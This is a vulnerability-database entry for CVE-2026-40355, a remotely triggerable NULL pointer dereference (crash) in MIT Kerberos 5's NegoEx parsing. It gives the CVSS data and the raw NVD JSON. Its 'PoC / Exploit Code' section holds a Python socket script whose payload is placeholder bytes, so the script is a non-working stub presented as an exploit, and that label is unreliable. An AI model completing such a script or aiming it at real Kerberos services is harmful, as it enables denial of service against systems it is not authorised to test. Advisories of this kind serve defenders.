Security Vulnerability Report
中文
CVE-2026-40355 CVSS 5.9 MEDIUM

CVE-2026-40355

Published: 2026-04-28 06:16:04
Last Modified: 2026-04-28 20:11:57

Description

In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MIT Kerberos 5 < 1.22.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket """ PoC for CVE-2026-40355 (MIT Kerberos 5 NULL Pointer Dereference) This script attempts to trigger the vulnerability by sending a crafted NegoEx message to a vulnerable service. """ def send_exploit(target_host, target_port): # Constructing a raw NegoEx token is complex; this represents the trigger. # The actual payload must manipulate the parsing logic to hit the NULL pointer. # This is a placeholder for the specific bytes required. # Reference: https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f # Example header for a Kerberos/GSS message (Simplified) # Real exploitation requires crafting the specific NegoEx extension payload = b"\x6e\x00..." # Placeholder bytes try: print(f"[+] Connecting to {target_host}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) print("[+] Sending malicious NegoEx payload...") s.send(payload) # If successful, the server process (krb5kdc or application using libkrb5) may crash. print("[+] Payload sent. Check target for crash.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details send_exploit("127.0.0.1", 88)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40355", "sourceIdentifier": "[email protected]", "published": "2026-04-28T06:16:03.663", "lastModified": "2026-04-28T20:11:56.713", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "source": "[email protected]"}, {"url": "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "source": "[email protected]"}, {"url": "https://web.mit.edu/kerberos/advisories/", "source": "[email protected]"}, {"url": "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}